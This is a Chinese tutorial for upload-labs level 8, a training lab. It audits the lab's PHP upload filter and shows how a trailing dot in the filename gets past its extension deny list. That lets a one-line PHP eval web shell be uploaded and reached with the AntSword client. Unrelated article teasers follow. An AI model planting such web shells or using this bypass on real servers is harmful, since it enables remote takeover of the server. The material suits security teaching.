upload-labs第八关教程

upload-labs第八关教程

  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 点绕过
      • 上传eval.php
      • 使用burp suite进行抓包修改
      • 放包,查看是否上传成功
      • 使用中国蚁剑进行连接

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

细看的话可以发现相对于之前的那些关卡少了对点过滤的操作,所以是不是可以考虑使用点进行绕过?

二、绕过分析

点绕过

上传eval.php

<?php @eval($_POST['cmd']); ?>

使用burp suite进行抓包修改

修改之前:
在这里插入图片描述这里的filename为eval.php

修改之后:
在这里插入图片描述这里的filename为eval.php. ,这里使用点是因为没有进行过滤,再者就是在windows系统下面它会自动删除点。

放包,查看是否上传成功

在这里插入图片描述
上传成功。

使用中国蚁剑进行连接

复制这里的url进行连接
在这里插入图片描述使用中国蚁剑进行连接:
在这里插入图片描述
连接成功。


如果有问题的话,可以私信我。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/28497.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

推箱子-小游戏

学习目标&#xff1a; 巩固Java基础&#xff0c;数据类型、二维数组、条件语句等&#xff1b; 效果展示&#xff1a;

CSS【详解】样式选择器的优先级(含提升优先级的方法)

数值越大&#xff0c;优先级越高&#xff0c;尽量保持较低的优先级&#xff0c;以便使用更高优先级的选择器重置样式 0级——通配选择器、选择符和逻辑组合伪类。逻辑组合伪类有:not()、:is()和:where等&#xff0c;这些伪类本身并不影响CSS优先级&#xff0c;影响优先级的是括…

Python基础用法 之 变量

1.变量的定义 变量的作用&#xff1a;是⽤来保存数据的。定义的语法&#xff1a;变量名 数据值使用&#xff1a;直接使⽤变量名 即可使⽤变量中存储的数据。注意&#xff1a;变量必须先定义后使用。 (即 必须 先存⼊数据 才能 获取数据) 。 # 需求 1, 定义⼀个变量 保存你的名…

flutter中采用腾讯云COS进行图片存储

首先配置文件添加 flutter_cos: ^0.0.3 添加COS配置 import dart:io; import dart:io; import dart:convert; import package:http/http.dart as http; import package:http/http.dart;class CosConfig {final String appid;final String region;final String bucket;CosCon…

(超详细)基于动态顺序表实现简单的通讯录项目

前言&#xff1a; 我们在上一章节用c语言实现了线性表中的的动态顺序表&#xff0c;那么顺序表就只是顺序表吗&#xff1f;当然不是&#xff0c;使用顺序表结构可以实现很多项目&#xff0c;许多项目的数据结构都会用到顺序表&#xff0c;本章节我们就要使用顺序表实现一个简易…

等保一体机

等保一体机是面向等保场景推出的合规型安全防护产品。基于“一个中心&#xff0c;三重防护”的设计理念&#xff0c;通过内置全面、多样的安全能力&#xff0c;为政府、医疗、教育、企业等中小型客户提供快速合规、按需赋能的一站式等保合规解决方案。 等保一体机要求管理网络和…

jEasyUI 使用标记创建树形菜单

jEasyUI 使用标记创建树形菜单 jEasyUI 是一个基于 jQuery 的用户界面插件集合&#xff0c;它提供了一系列的组件&#xff0c;如菜单、窗口、表格等&#xff0c;以帮助开发者快速构建交互式的网页应用。树形菜单&#xff08;Tree Menu&#xff09;是 jEasyUI 中常用的组件之一…

【论文阅读】AttnDreamBooth | 面向文本对齐的个性化图片生成

文章目录 1 动机2 方法3 实验 1 动机 使用灵活的文本控制可以实现一些特定的概念的注入从而实现个性化的图片生成。 最经典的比如一些好玩的动漫人物的概念&#xff0c;SD大模型本身是不知道这些概念的&#xff0c;但是通过概念注入是可以实现的从而生成对应的动漫人物 两个…

创建阿里云的免费镜像仓库

1、登录 阿里云 首先进入阿里云的官网&#xff0c;如果没有注册的需要先注册&#xff0c;这里就不过多的讲解了。 2、搜索 登录完毕后点击右上角的控制台 进入管理页面。或者直接在搜索框中输入容器镜像服务 点击进入 这里我是已经开通过了&#xff0c;如果你还没有开通的…

SpringBoot 第一天

什么是Spring Boot 学习过spring&#xff0c;并且做过项目的估计都经历过&#xff0c;xml文件的繁杂配置&#xff0c;让人眼花缭乱&#xff0c;且极易出错&#xff0c;因此 Spring 一度被称为“配置地狱” 为了简化 Spring 应用的搭建和开发过程&#xff0c;Pivotal 团队在 S…

算法训练营day60

题目1&#xff1a;647. 回文子串 - 力扣&#xff08;LeetCode&#xff09; class Solution { public:int countSubstrings(string s) {vector<vector<bool>> dp(s.size(), vector<bool>(s.size(), false));int reslut 0;for(int i s.size() - 1;i > 0;…

什么是git?

前言 Git 是一款免费、开源的分布式版本控制系统&#xff0c;用于敏捷高效地处理任何或小或大的项目。是的&#xff0c;我对git的介绍就一条&#xff0c;想看简介的可以去百度一下&#x1f618;&#x1f618;&#x1f618; 为什么要用git&#xff1f; OK&#xff0c;想象一下…

《C语言》文件操作

文章目录 一、认识文件1、文件的概念2、程序文件3、数据文件4、文件名 三、二进制文件和文本文件四、文件的打开和关闭1、流2、标准流3、文件指针4、文件的关闭和打开 四、文件的顺序读写文件的随机读写1、fseek2、ftell3、rewind4.int origin 一、认识文件 主要讨论数据文件 1…

代码随想三刷二叉树篇1

代码随想三刷二叉树篇1 144. 二叉树的前序遍历题目代码 145. 二叉树的后序遍历题目代码 94. 二叉树的中序遍历题目代码 102. 二叉树的层序遍历题目代码 107. 二叉树的层序遍历 II题目代码 199. 二叉树的右视图题目代码 637. 二叉树的层平均值题目代码 515. 在每个树行中找最大值…

Javaweb06-Jsp技术

Jsp技术 一.Jsp的运行原理 **概述&#xff1a;**JSP是Java服务器页面&#xff0c;既可以写静态页面代码&#xff0c;也可以写动态页面代码 **特点&#xff1a;**跨平台性&#xff0c;业务代码相分离&#xff0c;组件重用&#xff0c;预编译 运行原理&#xff1a; 客户端发生…

如何设计一个秒杀系统?

这篇分享源自之前购买的极客时间课程《如何设计一个秒杀系统》&#xff0c;以及书籍《亿级流量网站架构核心技术》。 这两个讲的都是关于高并发系统设计的&#xff0c;感觉收获颇多。 本篇内容对核心要点进行了摘录&#xff0c;也结合网上一些文章&#xff0c;希望能分享所得…

运算符及表达式+基本语句和函数使用的详细讲解

运算符及表达式 运算符及表达式 在C语言中&#xff0c;运算符是用于执行特定操作的符号&#xff0c;而表达式则是由运算符和操作数组成的式子。 1) 运算符 运算符的目数 单目运算符&#xff1a;只需要一个操作数&#xff0c;如 !&#xff08;逻辑非&#xff09;、&#xf…

简易开发一个app

即时设计网站 即时设计 - 可实时协作的专业 UI 设计工具 需要先设计好UI界面 上传到codefun 首次需要安装 自动生成代码 打开hb软件 新建项目 打开创建的项目 删除代码 复制代码过去 下载图片 将图片放到文件夹里 改为这种格式 index.vue 如果不需要uni-app导航栏可以修改 …

026、工具_redis-server

redis-server除了启动Redis外,还有一个 --test-memory选项。 redis-server- -test-memory可以用来检测当前操作系统能否稳定地分配指定容量的内存给 Redis,通过这种检测可以有效避免因为内存问题造成Redis崩溃,例如下面 操作检测当前操作系统能否提供1G的内存给Redis: red…

项目文件预览

在实际项目开发过程&#xff0c;项目使用数据存在多种形式&#xff0c;“文件”也是一种常见形式&#xff0c;因此&#xff0c;“文件预览”功能变成了常规需求。 kkFileView项目使用流行的spring boot搭建&#xff0c;易上手和部署。万能的文件预览开源项目&#xff0c;基本支…